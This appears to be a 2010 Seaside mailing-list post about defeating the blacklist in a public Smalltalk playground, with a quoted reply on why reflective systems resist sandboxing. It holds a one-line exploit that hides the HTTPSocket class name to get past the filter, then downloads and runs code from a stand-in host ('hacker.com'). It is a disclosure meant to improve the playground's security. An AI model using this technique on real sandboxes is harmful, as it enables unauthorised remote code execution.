[Seaside] Seaside playground

Adrian Lienhard adi at netstyle.ch
Wed Jan 13 11:06:43 UTC 2010


Maybe a whitelist approach would be better than the black list used now? There are so many ways that it is virtually impossible to write a complete black list.

It took me a while, but I finally managed to browse arbitrary code in the image, including the blacklist (implemented by #isSecure:). Knowing how this method is implemented makes it pretty easy to come up with a new exploit:

(nil environment at: ('https' asUppercase , 'ocket') asSymbol) httpFileIn: 'http://www.hacker.com/bad.st'

This one allows you to load and run arbitrary code.


On Jan 12, 2010, at 10:12 , Lukas Renggli wrote:

>> could they use your trick with using the debugger to interpret bytecode you did years ago.
> Yes, that would make it slightly more secure, because one could also
> check also the calls within the code and the receivers and arguments.
> As with all the previous improvements, this will just make it slightly
> more time consuming to find a working exploit. A highly reflective and
> unsecured system like Smalltalk cannot be protected like that. If the
> language doesn't provide the infrastructure to be secure (for example
> through immutable objects, special execution environments, etc.) this
> is not reasonably possible
> Lukas
> -- 
> Lukas Renggli
> http://www.lukas-renggli.ch
> _______________________________________________
> seaside mailing list
> seaside at lists.squeakfoundation.org
> http://lists.squeakfoundation.org/cgi-bin/mailman/listinfo/seaside

More information about the seaside mailing list